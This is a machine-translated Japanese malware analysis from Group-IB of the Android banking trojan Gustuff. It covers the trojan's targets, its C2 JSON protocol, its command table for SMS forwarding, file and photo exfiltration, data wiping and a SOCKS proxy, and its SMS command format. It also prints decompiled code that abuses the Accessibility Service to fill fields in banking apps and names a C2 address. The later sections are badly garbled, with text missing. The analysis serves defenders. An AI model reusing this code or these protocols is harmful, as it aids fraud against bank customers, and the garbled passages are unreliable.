Android Gustuffトロイの木馬がアカウントからクリーム(フィアットと暗号)を削除する方法





先日、Group-IBはAndroidモバイルTrojan Gustuffの活動について報告しました。 これは、国際市場で独占的に機能し、100の外資系銀行の顧客、32のモバイル暗号化ウォレットのユーザー、および大規模なeコマースリソースを攻撃します。 しかし、開発者のGustuffは、Bestofferというニックネームでロシア語を話すサイバー犯罪者です。 最近まで、彼は自分のトロイの木馬を「知識と経験のある人々にとって真剣な製品」と称賛していました。



Group-IBの悪意のあるコードを分析する専門家であるIvan Pisarevは、 Gustuffがどのように機能し、どのような危険性があるのか​​を詳しく調べています。



Gustuffは誰を探していますか?



Gustuffは、完全に自動化された機能を備えた新世代のマルウェアです。 開発者によると、トロイの木馬はAndyBotマルウェアの新しい改良バージョンになり、2017年11月以降、有名な国際銀行や決済システムのモバイルアプリケーションを装ったフィッシングWebフォームを介してAndroid携帯電話を攻撃し、お金を盗んでいます。 Bestofferは、Gustuff Botのレンタル価格が月額800ドルであると報告しました。



Gustuffサンプルの分析は、トロイの木馬が、バンクオブアメリカ、バンクオブスコットランド、JPモルガン、ウェルズファーゴ、キャピタルワン、TDバンク、PNC銀行、ビットコインウォレット、BitPay暗号ウォレットなどの最大の銀行のモバイルアプリケーションを使用している可能性があることを示しました、Cryptopay、Coinbaseなど。



もともとは古典的な銀行のトロイの木馬として作成されたGustuffの現在のバージョンは、潜在的な攻撃対象のリストを大幅に拡張しています。 Gustuffは、銀行、フィンテック企業、暗号サービスのAndroidアプリケーションに加えて、市場アプリケーション、オンラインストア、決済システム、インスタントメッセンジャーのユーザーを対象としています。 特に、PayPal、Western Union、eBay、Walmart、Skype、WhatsApp、Gett Taxi、Revolutなど。



エントリポイント:大量感染の計算



Gustuffの特徴は、APKへのリンクを含むSMSメーリングによるAndroidスマートフォンへの「古典的な」侵入のベクトルです。 Androidデバイスがサーバーのコマンドでトロイの木馬に感染している場合、Gustuffは感染した電話の連絡先データベースまたはサーバーのデータベースを介してさらに広がる可能性があります。 Gustuffの機能は、大規模な感染とその事業者の事業の最大の資本化のために設計されています-正当なモバイルバンキングアプリケーションと暗号ウォレットへの「自動入力」という独自の機能があり、これにより、盗難を加速および拡大することができます。



このトロイの木馬の調査では、障害者向けのサービスであるアクセシビリティサービスを使用して、自動入力機能が実装されていることが示されました。 Gustuffは、このAndroidサービスを使用する他のアプリケーションのウィンドウ要素との相互作用に対する保護を正常にバイパスする最初のトロイの木馬ではありません。 ただし、自動読み込みと併せてアクセシビリティサービスを使用することは依然として非常にまれです。



被害者を電話にダウンロードした後、アクセシビリティサービスを使用してGustuffは、他のアプリケーション(銀行、暗号通貨、オンラインショッピング、メッセージングなどのアプリケーション)のウィンドウ要素と対話する機会を得て、攻撃者に必要なアクションを実行します。 たとえば、サーバーのコマンドで、トロイの木馬はボタンをクリックして、銀行業務アプリケーションのテキストフィールドの値を変更できます。 Accessibility Serviceメカニズムを使用することにより、トロイの木馬は、銀行が過去の世代のモバイル世代に対抗するために使用する保護メカニズム、およびAndroid OSの新しいバージョンでGoogleによって導入されたセキュリティポリシーの変更をバイパスできます。 そのため、GustuffはGoogle Protect保護を無効にする方法を「知っています」:著者によると、この機能は70%のケースで機能します。







Gustuffは、正当なモバイルアプリケーションのアイコンで偽のPUSH通知を表示することもできます。 ユーザーはPUSH通知をクリックすると、サーバーからダウンロードされたフィッシングウィンドウが表示され、そこで自分が銀行カードまたは暗号ウォレットの要求されたデータを入力します。 別のGustuffシナリオでは、PUSH通知が表示された代わりにアプリケーションが開きます。 この場合、悪意のあるプログラムは、アクセシビリティサービスを介したサーバーのコマンドに応じて、不正なトランザクションの銀行業務アプリケーションのフォームフィールドに入力できます。



Gustuffの機能には、感染したデバイスに関する情報のサーバーへの送信、SMSメッセージの読み取り/送信、USSDリクエストの送信、SOCKS5プロキシの起動、リンクの追跡、サーバーへのファイル送信(ドキュメント、スクリーンショット、写真を含む)も含まれますデバイスを工場出荷時設定にリセットします。



マルウェア分析



悪意のあるアプリケーションをインストールする前に、Android OSはGustuffによって要求された権限のリストを含むウィンドウをユーザーに表示します。



画像の代替






アプリケーションのインストールは、ユーザーの同意を得た後にのみ行われます。 アプリケーションを起動すると、トロイの木馬はユーザーにウィンドウを表示します。



画像の代替






次に、そのアイコンを削除します。



著者によると、GustuffはFTTパッカーによってパッケージ化されています。 起動後、アプリケーションは定期的にCnCサーバーに接続してコマンドを受信します。 調査したファイルのいくつかでは、IPアドレス88.99.171 [。] 105が制御サーバーとして使用されました(以下、これを<%CnC%>と表記します)。



開始後、プログラムはサーバーhttp:// <%CnC%> /api/v1/get.phpへのメッセージの送信を開始します。



答えとして、JSONは次の形式で期待されます。



{ "results" : "OK", "command":{ "id": "<%id%>", "command":"<%command%>", "timestamp":"<%Server Timestamp%>", "params":{ <%Command parameters as JSON%> }, }, }
      
      





アプリケーションが感染したデバイスに関する情報を送信するたび。 メッセージの形式は次のとおりです。 fullextraapps 、およびpermissionフィールドはオプションであり、CnCからのリクエストコマンドの場合にのみ送信されることに注意してください。



 { "info": { "info": { "cell":<%Sim operator name%>, "country":<%Country ISO%>, "imei":<%IMEI%>, "number":<%Phone number%>, "line1Number":<%Phone number%>, "advertisementId":<%ID%> }, "state": { "admin":<%Has admin rights%>, "source":<%String%>, "needPermissions":<%Application needs permissions%>, "accesByName":<%Boolean%>, "accesByService":<%Boolean%>, "safetyNet":<%String%>, "defaultSmsApp":<%Default Sms Application%>, "isDefaultSmsApp":<%Current application is Default Sms Application%>, "dateTime":<%Current date time%>, "batteryLevel":<%Battery level%> }, "socks": { "id":<%Proxy module ID%>, "enabled":<%Is enabled%>, "active":<%Is active%> }, "version": { "versionName":<%Package Version Name%>, "versionCode":<%Package Version Code%>, "lastUpdateTime":<%Package Last Update Time%>, "tag":<%Tag, default value: "TAG"%>, "targetSdkVersion":<%Target Sdk Version%>, "buildConfigTimestamp":1541309066721 }, }, "full": { "model":<%Device Model%>, "localeCountry":<%Country%>, "localeLang":<%Locale language%>, "accounts":<%JSON array, contains from "name" and "type" of accounts%>, "lockType":<%Type of lockscreen password%> }, "extra": { "serial":<%Build serial number%>, "board":<%Build Board%>, "brand":<%Build Brand%>, "user":<%Build User%>, "device":<%Build Device%>, "display":<%Build Display%>, "id":<%Build ID%>, "manufacturer":<%Build manufacturer%>, "model":<%Build model%>, "product":<%Build product%>, "tags":<%Build tags%>, "type":<%Build type%>, "imei":<%imei%>, "imsi":<%imsi%>, "line1number":<%phonenumber%>, "iccid":<%Sim serial number%>, "mcc":<%Mobile country code of operator%>, "mnc":<%Mobile network codeof operator%>, "cellid":<%GSM-data%>, "lac":<%GSM-data%>, "androidid":<%Android Id%>, "ssid":<%Wi-Fi SSID%> }, "apps":{<%List of installed applications%>}, "permission":<%List of granted permissions%> }
      
      





構成データの保存



Gustuffは、重要な作業情報を設定ファイルに保存します。 ファイル名とその中のパラメーター名は、行15413090667214.6.1 <%name%>からMD5合計を計算した結果です。ここで、 <%name%>は元の名前値です。 名前生成関数のPython解釈:



  nameGenerator(input): output = md5("15413090667214.6.1" + input)
      
      





将来的には、 nameGenerator(input)として指定します



したがって、最初のファイルの名前はnameGenerator( "API_SERVER_LIST")であり、次の名前の値が含まれています。



変数名 価値
nameGenerator( "API_SERVER_LIST") CnCアドレスのリストが配列として含まれています。
nameGenerator( "API_SERVER_URL") CnCアドレスが含まれます。
nameGenerator( "SMS_UPLOAD") フラグはデフォルトで設定されています。 フラグが設定されている場合-SMSメッセージをCnCに送信します。
nameGenerator( "SMS_ROOT_NUMBER") 感染したデバイスが受信したSMSメッセージの送信先の電話番号。 デフォルトはヌルです。
nameGenerator( "SMS_ROOT_NUMBER_RESEND") フラグはデフォルトでクリアされます。 インストールされている場合、感染したデバイスがSMSを受信すると、ルート番号に送信されます。
nameGenerator( "DEFAULT_APP_SMS") フラグはデフォルトでクリアされます。 このフラグが設定されている場合、アプリケーションは着信SMSメッセージを処理します。
nameGenerator( "DEFAULT_ADMIN") フラグはデフォルトでクリアされます。 フラグが設定されている場合、アプリケーションには管理者権限があります。
nameGenerator( "DEFAULT_ACCESSIBILITY") フラグはデフォルトでクリアされます。 フラグが設定されている場合、アクセシビリティサービスを使用するサービスが開始されます。
nameGenerator( "APPS_CONFIG") JSONオブジェクトには、特定のアプリケーションに関連付けられたアクセシビリティイベントがトリガーされたときに実行する必要があるアクションのリストが含まれています。
nameGenerator( "APPS_INSTALLED") デバイスにインストールされているアプリケーションのリストを保存します。
nameGenerator( "IS_FIST_RUN") フラグは最初の起動時にリセットされます。
nameGenerator( "UNIQUE_ID") 一意の識別子が含まれます。 ボットの最初の起動時に生成されます。


サーバーコマンド処理モジュール



アプリケーションは、 Base85エンコード文字列の配列としてCnCサーバーのアドレスを保存します。 CnCサーバーのリストは、対応するコマンドの受信時に変更できます。この場合、アドレスは設定ファイルに保存されます。



要求への応答で、サーバーはコマンドをアプリケーションに送信します。 コマンドとパラメーターがJSON形式で表示されることに注意してください。 アプリケーションは次のコマンドを処理できます。

チーム 説明
forwardStart 感染したデバイスが受信したSMSメッセージをCnCサーバーに送信し始めます。
forwardStop 感染したデバイスが受信したSMSメッセージのCnCサーバーへの送信を停止します。
usddRun USSDリクエストを実行します。 USSDリクエストを作成する番号は、JSONフィールドの「番号」にあります。
sendSms 1つのSMSメッセージを送信します(必要な場合、メッセージは部分に「分割」されます)。 パラメーターとして、コマンドは、「to」フィールド(宛先番号と「body」)を含むJSONオブジェクトを受け入れます-メッセージ本文。
sendSmsAb 感染したデバイスの連絡先リストの全員にSMSメッセージを送信します(必要な場合、メッセージは「分割」されます)。 メッセージを送信する間隔は10秒です。 メッセージの本文はJSONフィールド「body」にあります
sendSmsMass コマンドパラメーターで指定された連絡先にSMSメッセージを送信します(必要な場合、メッセージは「分割」されます)。 メッセージを送信する間隔は10秒です。 パラメーターとして、コマンドはJSON配列(フィールド「sms」)を受け入れます。この配列の要素には、フィールド「to」-宛先番号と「body」-メッセージ本文が含まれます。
changeServer パラメーターとしてのこのコマンドは、キー「url」を持つ値を取ることができます。次に、ボットはnameGenerator(「SERVER_URL」)または「array」の値を変更します。次に、ボットはnameGenerator
adminNumber このコマンドは、ルート番号で機能するように設計されています。 このコマンドは、次のパラメーターを持つJSONオブジェクトを受け入れます。「number」-nameGenerator(「ROOT_NUMBER」)を受信した値に変更、「resend」-nameGeneratorを変更(「SMS_ROOT_NUMBER_RESEND」)、「sendId」-nameGenerator(「ROOT_NUMBER」)uniqueIDに送信
updateInfo 感染したデバイスに関する情報をサーバーに送信します。
ワイプデータ このコマンドは、ユーザーデータを削除するように設計されています。 アプリケーションが起動された名前に応じて、デバイスの再起動でデータが完全に消去されるか(プライマリユーザー)、またはユーザーデータのみ(セカンダリユーザー)が削除されます。
靴下 プロキシモジュールを起動します。 モジュールの操作については、別のセクションで説明します。
靴下 プロキシモジュールを停止します。
openLink リンクをたどってください。 リンクは、キー「url」によってJSONパラメーターにあります。 リンクを開くには、「android.intent.action.VIEW」を使用します。
uploadAllSms デバイスが受信したすべてのSMSメッセージをサーバーに送信します。
uploadAllPhotos 感染したデバイスからURLに画像を送信します。 URLはパラメーターとして提供されます。
uploadFile 感染したデバイスからURLにファイルを送信します。 URLはパラメーターとして提供されます。
uploadPhoneNumbers 連絡先リストからサーバーに電話番号を送信します。 「ab」キーを持つJSONオブジェクトがパラメーターとして提供される場合、アプリケーションは電話帳から連絡先のリストを受け取ります。 「sms」キーを持つJSONオブジェクトがパラメーターとして提供される場合、アプリケーションはSMSメッセージの送信者から連絡先リストを読み取ります。
changeArchive アプリケーションは、アドレスからファイルをダウンロードします。これは、キー「url」を持つパラメーターとして提供されます。 ダウンロードしたファイルは、「archive.zip」という名前で保存されます。 その後、必要に応じて、アプリケーションはアーカイブ「b5jXh37gxgHBrZhQ4j3D」のパスワードを使用してファイルを解凍します。 解凍されたファイルは[外部ストレージ] / hgpsディレクトリに保存されます。 このディレクトリに、アプリケーションはWeb偽物(後述)を格納します。
アクション このコマンドは、別のセクションで説明されているアクションサービスで動作するように設計されています。
テストする 何もしません。
ダウンロードする このコマンドは、リモートサーバーからファイルをダウンロードし、ダウンロードディレクトリに保存するように設計されています。 URLとファイル名は、それぞれJSONオブジェクトパラメーターのフィールドであるパラメーターとして提供されます: "url"と "fileName"。
取り除く ダウンロードディレクトリからファイルを削除します。 ファイル名は、キー「fileName」とともにJSONパラメーターに含まれます。 デフォルトのファイル名は「tmp.apk」です。
通告 管理サーバーによって定義された説明とタイトルテキストを含む通知を表示します。


通知コマンドの形式は次のとおりです。



 { "results" : "OK", "command":{ "id": <%id%>, "command":"notification", "timestamp":<%Server Timestamp%>, "params":{ "openApp":<%Open original app or not%>, "array":[ {"title":<%Title text%>, "desc":<%Description text%>, "app":<%Application name%>} ] }, }, }
      
      





調査対象のファイルによって生成された通知は、 appフィールドで指定されたアプリケーションによって作成された通知と同一に見えます。 openAppフィールドの値がTrueの場合、通知が開かれると、 appフィールドで指定されたアプリケーションが起動されます。 openAppフィールドの値がFalseの場合:





アプリケーションは、コマンドの実行結果を次の形式のJSONオブジェクトとして<%CnC%> \ set_state.phpに送信します。



 { "command": { "command":<%command%>, "id":<%command_id%>, "state":<%command_state%> } "id":<%bot_id%> }
      
      





ActionsService



アプリケーションが処理するコマンドのリストにはactionが含まれます 。 コマンドを受信すると、コマンド処理モジュールはこのサービスにアクセスして、拡張コマンドを実行します。 サービスはパラメーターとしてJSONオブジェクトを受け入れます。 サービスは次のコマンドを実行できます。



1. PARAMS_ACTION-このようなコマンドを受け取ると、サービスはまずJSONパラメーターからTypeキーの値を受け取ります。次のようになります。





2. PARAMS_ACTIONS - PARAMS_ACTIONと同じですが 、コマンドのJSON配列のみが付属します。



多くの人が、別のアプリケーションのウィンドウ要素と対話する機能がどのように見えるかに興味を持つようです。 これは、この機能がGustuffで実装される方法です。



 boolean interactiveAction(List aiList, JSONObject action, JsonObject res) { int count = action.optInt("repeat", 1); Iterator aiListIterator = ((Iterable)aiList).iterator(); int count = 0; while(aiListIterator.hasNext()) { Object ani = aiListIterator.next(); if(1 <= count) { int index; for(index = 1; true; ++index) { if(action.has("focus")) { if(((AccessibilityNodeInfo)ani).performAction(1)) { ++count; } } else if(action.has("click")) { if(((AccessibilityNodeInfo)ani).performAction(16)) { ++count; } } else if(action.has("actionId")) { if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) { ++count; } } else if(action.has("setText")) { customHeader ch = CustomAccessibilityService.a; Context context = this.getApplicationContext(); String text = action.optString("setText"); if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) { ++count; } } if(index == count) { break; } } } ((AccessibilityNodeInfo)ani).recycle(); } res.addPropertyNumber("res", Integer.valueOf(count)); }
      
      





テキスト置換機能:



 boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) { boolean result; if(Build$VERSION.SDK_INT >= 21) { Bundle b = new Bundle(); b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text)); result = ani.performAction(0x200000, b); // ACTION_SET_TEXT } else { Object clipboard = context.getSystemService("clipboard"); if(clipboard != null) { ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text))); result = ani.performAction(0x8000); // ACTION_PASTE } else { result = false; } } return result; }
      
      





したがって、コントロールサーバーが正しく構成されていれば、Gustuffは銀行業務アプリケーションのテキストフィールドに入力し、トランザクションに必要なボタンをクリックすることができます。 このトロイの木馬は、アプリケーションで認証される必要さえありません。以前にインストールされた銀行アプリケーションを開いた後、PUSH通知を示すコマンドを送信するだけです。 ユーザーは承認を受け、その後Gustuffが自動入力できるようになります。



SMS処理モジュール



アプリケーションは、感染したデバイスによるSMSメッセージを受け入れるようにイベントハンドラーを設定します。 調査対象のアプリケーションは、SMSメッセージの本文に含まれるコマンドをオペレーターから受信できます。 コマンドの形式は次のとおりです。



7!5 = <%Base64エンコードコマンド%>



アプリケーションは、すべての着信SMSメッセージで行7を検索します!5 = 、行を検出すると、オフセット4の行をBase64からデコードし、コマンドを実行します。 コマンドは、CnCを使用したコマンドに似ています。 実行結果は、コマンドの送信元と同じ番号に送信されます。 回答形式:



7 * 5 = <%「result_codeコマンド」のBase64エンコード%>



オプションで、アプリケーションは受信したすべてのメッセージをルート番号に送信できます。 これを行うには、設定ファイルでルート番号を指定し、メッセージリダイレクトフラグを設定する必要があります。 SMSメッセージは、次の形式で攻撃者の番号に送信されます。



<%From number%>-<%Time、format:dd / MM / yyyy HH:mm:ss%> <%SMS body%>



また、オプションで、アプリケーションはメッセージをCnCに送信できます。 SMSメッセージは、JSON形式でサーバーに送信されます。



 { "id":<%BotID%>, "sms": { "text":<%SMS body%>, "number":<%From number%>, "date":<%Timestamp%> } }
      
      





nameGeneratorフラグ( "DEFAULT_APP_SMS")が設定されている場合、アプリケーションはSMSメッセージの処理を停止し、着信メッセージのリストをクリアします。



プロキシモジュール



検討中のアプリケーションには、バックコネクトプロキシモジュール(以下、プロキシモジュールと呼びます)があります。これには、構成を持つ静的フィールドを含む別のクラスがあります。 構成データは、開いた形式でサンプルに保存されます。



画像の代替








Proxy-moduleによって実行されるすべてのアクションはファイルに記録されます。 これを行うために、外部ストレージのアプリケーションは、「logs」という名前のディレクトリ(構成クラスのProxyConfigClass.logsDirフィールド)を作成し、そこにログファイルを保存します。 ロギングは次の名前のファイルで発生します。



  1. main.txt-このクラスは、CommandServerという名前のクラス操作を記録します。 将来、このファイルへの文字列strのロギングは、mainLog(str)として示されます。
  2. session-<%id%>。txt-特定のプロキシセッションに関連付けられたログデータがこのファイルに保存されます。 このファイルへの文字列strのさらなるログ記録は、sessionLog(str)と呼ばれます。
  3. server.txt-このファイルは、上記のファイルに書き込まれたすべてのデータを記録します。


ログデータ形式:



<%Date%> [スレッド[<%スレッドid%>]、id []]:ログ文字列



プロキシモジュールの操作中に発生した例外もファイルに記録されます。 このために、アプリケーションはJSON形式のオブジェクトを生成します。



 { "uncaughtException":<%short description of throwable%> "thread":<%thread%> "message":<%detail message of throwable%> "trace": //Stack trace info [ { "ClassName": "FileName": "LineNumber": "MethodName": }, { "ClassName": "FileName": "LineNumber": "MethodName": } ] }
      
      





次に、それを文字列表現とログに変換します。



プロキシモジュールは、対応するチームの受領後に起動されます。 Proxyモジュールを起動するコマンドが到着すると、アプリケーションはMainServiceというサービスを起動します。MainServiceは、Proxyモジュールの動作(起動と停止)の制御を担当します。



サービスを開始する段階:



1. 1分に1回動作するタイマーを開始し、プロキシモジュールのアクティビティをチェックします。 モジュールがアクティブでない場合、モジュールを開始します。

また、 android.net.conn.CONNECTIVITY_CHANGEイベントがトリガーされると、プロキシモジュールが起動します。



2.アプリケーションは、 PARTIAL_WAKE_LOCKパラメーターを使用してウェイクロックを作成し、キャプチャします。 したがって、デバイスのCPUがスリープモードに入ることはできません。



3. mainLog行(「サーバーの開始」)を記録してプロキシモジュールコマンド処理クラスを実行し、



サーバー:: start()ホスト[<%proxy_cnc%>]、commandPort [<%command_port%>]、proxyPort [<%proxy_port%>]



ここで、 proxy_cnc、command_port、proxy_portは、プロキシサーバー構成から取得したパラメーターです。



コマンド処理クラスはCommandConnectionと呼ばれます。 起動直後に、次のアクションを実行します。



4. ProxyConfigClass.host:ProxyConfigClass.commandPortに接続し、そこに感染したデバイスに関するデータをJSON形式で送信します。



 { "id":<%id%>, "imei":<%imei%>, "imsi":<%imsi%>, "model":<%model%>, "manufacturer":<%manufacturer%>, "androidVersion":<%androidVersion%>, "country":<%country%>, "partnerId":<%partnerId%>, "packageName":<%packageName%>, "networkType":<%networkType%>, "hasGsmSupport":<%hasGsmSupport%>, "simReady":<%simReady%>, "simCountry":<%simCountry%>, "networkOperator":<%networkOperator%>, "simOperator":<%simOperator%>, "version":<%version%> }
      
      





どこで:





5. . :





:



mainLog(«Header { sessionId<%id%>], type[<%command%>], length[<%length%>] }»)



:



お名前 コマンド データ 説明
connectionId 0 Connection ID
SLEEP 3 Time Proxy-
PING_PONG 4 - PONG-


PONG- 4 : 0x04000000 .



connectionId ( ) CommandConnection ProxyConnection .





  { "id":<%connectionId%> }
      
      





SOCKS5-, , . ̆ end . :



画像の代替






̆



̆ CnC- SSL. JSON-. :





推奨事項



, , .



, . , , .



– - , , -, , , , , .



:





, Group-IB.



All Articles